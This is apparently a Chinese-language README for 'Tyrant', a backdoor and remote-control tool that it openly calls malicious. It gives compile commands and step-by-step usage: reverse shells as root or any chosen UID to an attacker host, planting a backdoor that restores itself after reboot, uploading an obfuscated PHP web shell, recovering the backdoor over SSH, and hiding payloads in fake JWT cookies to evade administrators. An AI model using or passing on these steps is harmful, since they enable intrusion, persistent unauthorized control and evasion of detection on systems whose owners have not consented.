Tyrant
Tyrant 是一款用于渗透测试和远程控制持久化的恶意工具,具备以下功能:
- 反向Shell:允许攻击者通过指定用户UID进行反弹对应权限的Shell会话。
- 后门注入与持久化:在目标系统中注入后门并确保即使重启后依然能恢复控制。
- Tyrant Web Shell 上传:通过Web访问上传并执行Tyrant的反向Shell。
- 加密与伪协议:通过虚假的JWT和加密通信绕过安全检测。
- SSH恢复:可通过SSH连接恢复并启动后门。
更多信息和下载请访问:Tyrant GitHub 地址
编译 V2
首先安装依赖包:
# sudo apt-get install zlib1g-dev libzstd-dev
然后编译 Tyrant:
$ gcc -static -o tyrant tyrant.c ./lib/core.c ./lib/random_md5.c -lssl -lcrypto -lz -lzstd
发行版 V2
也可以从以下地址下载 Tyrant V2 发行版:
下载链接
Tyrant 初始化
将 Tyrant 上传到目标服务器并执行:
(Target) $ ./tyrant -h
PS: 初次运行需要 ROOT 权限!
(Target) # chmod +x tyrant
(Target) # ./tyrant
Tyrant反向SHELL
Username UID Home Directory
-------- ---- ------------
root 0 /bin/bash
daemon 1 /usr/sbin/nologin
bin 2 /usr/sbin/nologin
sys 3 /usr/sbin/nologin
sync 65534 /bin/sync
games 60 /usr/sbin/nologin
man 12 /usr/sbin/nologin
lp 7 /usr/sbin/nologin
mail 8 /usr/sbin/nologin
news 9 /usr/sbin/nologin
uucp 10 /usr/sbin/nologin
proxy 13 /usr/sbin/nologin
www-data 33 /usr/sbin/nologin
backup 34 /usr/sbin/nologin
list 38 /usr/sbin/nologin
irc 39 /usr/sbin/nologin
gnats 41 /usr/sbin/nologin
nobody 65534 /usr/sbin/nologin
systemd-network 102 /usr/sbin/nologin
systemd-resolve 103 /usr/sbin/nologin
syslog 106 (null)
messagebus 107 (null)
_apt 65534 (null)
lxd 65534 (null)
uuidd 110 (null)
dnsmasq 65534 /usr/sbin/nologin
landscape 112 (null)
pollinate 1 (null)
sshd 65534 (null)
bob 1004 /bin/bash
statd 65534 (null)
peter 1005 /bin/bash
insecurity 0 (null)
susan 1006 /bin/rbash
ntp 113 (null)
(Target) $ ./tyrant -uid 0 -rhost 192.168.8.102 -rport 443
后门模式 && 持久化控制
注入后门:
(Target) $ ./tyrant -b &
查看后门信息:
(Target) $ tyrant
上传 Tyrant-webshell:
(Self) $ python tyrant_per.py -h
PS: id为机子的mid
(Self) $ python tyrant_per.py -id 01a2a9a7d07c4cf1881f57374930be93 -gen
通过混淆 PHP 代码后上传 PHP 文件:
PHP 混淆工具
(Self) $ python3 tyrant_per.py -id 01a2a9a7d07c4cf1881f57374930be93 -uid 0 -rhost 192.168.8.102 -rport 443 -url http://192.168.8.103:8080/tyrant.php
PS: 你必须提供正确的 mid 值,否则服务端将无法验证通过。
重启自动载入后门
当首次启动后门程序后,持久化后门将自动写入关机重启定时任务:
后门恢复
当主后门程序被删除时,可以通过执行子程序恢复主程序后门。
利用 Web(tyran-persisten)自动恢复 Tyrant 后门
(Self) $ python3 tyrant_per.py -id 01a2a9a7d07c4cf1881f57374930be93 -uid 0 -rhost 192.168.8.102 -rport 443 -url http://192.168.8.103:8080/tyrant.php
执行命令再次重载启动后门:
(Target) $ ls /usr/local/bin
利用 SSH 自动恢复 Tyrant 后门
(Self) $ ssh bob@192.168.8.103
执行新后门:
(Self) $ 7a3e88a5ad1a1d87e10df9fe807d7625 &
关于我使用的加密技术 && 伪协议 && 虚假的 JWT && 镜像加密算法
通过模拟中间人劫持,Tyrant 的攻击载荷存在 Cookie 中,我可以:
Cookie: tyrant=eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9.SxMIVkMDQwdVUQUCDQJRVQgPUlJWUQIPDAhVBVVWDgcJAlFQBABSFUgSQgpQQVwTCBodREdfXERAGwkSU1wLHQEHWRxZF1AHVhIbQUYTCUNMGgtEAQMAFUk.Ag5WWgUFAQMGAQ
通过这个虚假的 JWT,轻松混淆并绕过管理员的审查。
防止重放攻击:
服务端通过验证时间戳来判断数据包是否超时:
可以通过设置 ./php/rev
中的 timeout
字段来决定数据包的生产周期,这通常是以秒为单位。